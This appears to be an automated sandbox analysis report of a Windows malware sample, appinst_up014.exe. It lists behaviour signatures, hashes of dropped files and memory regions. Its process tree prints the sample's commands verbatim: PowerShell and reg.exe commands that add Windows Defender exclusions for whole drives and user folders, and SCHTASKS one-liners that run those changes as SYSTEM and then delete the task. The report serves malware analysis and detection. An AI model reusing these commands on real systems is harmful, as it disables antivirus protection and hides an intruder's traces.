Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 13:26

General

  • Target
    appinst_up014.exe
  • Size 53.8MB
  • Sample260814-qp2abavbmd
  • SHA256 19da47e8ca448e98ca31c73429dd6550b9d2ab6e1459ebe3df799dd4563ecc17
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appinst_up014.exe
    "C:\Users\Admin\AppData\Local\Temp\appinst_up014.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4560
  • C:\Users\Public\EEQb4g\w4ifT0.exe
    "C:\Users\Public\EEQb4g\w4ifT0.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1720
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EEQb4g\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5360
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EEQb4g\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1364
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1888
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5432
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4788
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:808
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1032
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4132
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3608
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:720
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1376
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2264
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:6008
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1124
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2916
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4416
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5928
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:6072
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3536
                      • C:\Users\Public\EEQb4g\w4ifT0.exe
                        "C:\Users\Public\EEQb4g\w4ifT0.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:716
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EEQb4g" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3464
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\EEQb4g" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3684
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3700
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5040
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2716

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\EEQb4g\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 641cd0fb4150438c0ac05633383ab79d33404851aaf3f2d1be6a07dabdadb465
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\EEQb4g\adoresd.dat
                              • Size 4.7MB
                              • SHA256 25ed8d6b07b5cd0331f1cc6c5d3ce74cc45c5d679c8db4a7cc9a1e18ac4c7de9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\EEQb4g\msadox.tb
                              • Size 8KB
                              • SHA256 b065fc8b9a004b620b4f548b61282aaea6f2ad42ac79b79fa464eec1eae5b7d8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              w4ifT0.exe

                              • Path C:\Users\Public\EEQb4g\w4ifT0.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/716-578-0x00007FFFC1C80000-0x00007FFFC1C82000-memory.dmp

                              memory/716-573-0x00007FFFA0EC0000-0x00007FFFA13DE000-memory.dmp

                              memory/716-584-0x00000181185E0000-0x0000018118E71000-memory.dmp

                              memory/716-585-0x00000181185E0000-0x0000018118E71000-memory.dmp

                              memory/716-583-0x00000181185E0000-0x0000018118E71000-memory.dmp

                              memory/716-586-0x00000181185E0000-0x0000018118E71000-memory.dmp

                              memory/716-587-0x00007FFFC1C70000-0x00007FFFC1C72000-memory.dmp

                              memory/716-580-0x00000181185E0000-0x0000018118E71000-memory.dmp

                              memory/716-576-0x00000181185E0000-0x0000018118E71000-memory.dmp

                              memory/1720-599-0x000001596D0B0000-0x000001596D0BA000-memory.dmp

                              memory/1720-598-0x000001596CFF0000-0x000001596D0A2000-memory.dmp

                              memory/1720-597-0x000001596CFD0000-0x000001596CFEE000-memory.dmp

                              memory/1720-594-0x000001596CD70000-0x000001596CD92000-memory.dmp

                              memory/4356-539-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4356-545-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4356-550-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4356-556-0x0000027030580000-0x00000270305CE000-memory.dmp

                              memory/4356-560-0x0000027031900000-0x000002703198A000-memory.dmp

                              memory/4356-530-0x00007FFFC1C70000-0x00007FFFC1C72000-memory.dmp

                              memory/4356-558-0x0000027031900000-0x000002703198A000-memory.dmp

                              memory/4356-531-0x00007FFFA0EC0000-0x00007FFFA13DE000-memory.dmp

                              memory/4356-563-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4356-565-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4356-566-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4356-546-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4356-544-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4356-559-0x0000027031900000-0x000002703198A000-memory.dmp

                              memory/4356-543-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4356-561-0x0000027031900000-0x000002703198A000-memory.dmp

                              memory/4356-538-0x00007FFFC1C80000-0x00007FFFC1C82000-memory.dmp

                              memory/4356-536-0x0000027031060000-0x00000270318F1000-memory.dmp

                              memory/4560-1-0x0000000000580000-0x000000000058D000-memory.dmp

                              memory/4560-2-0x0000000000590000-0x000000000059B000-memory.dmp

                              memory/4560-0-0x0000000000580000-0x000000000058D000-memory.dmp

                              memory/4560-525-0x00007FFFB3210000-0x00007FFFB3222000-memory.dmp

                              memory/4560-504-0x00007FFFB3210000-0x00007FFFB3222000-memory.dmp

                              memory/4560-524-0x0000000000580000-0x000000000058D000-memory.dmp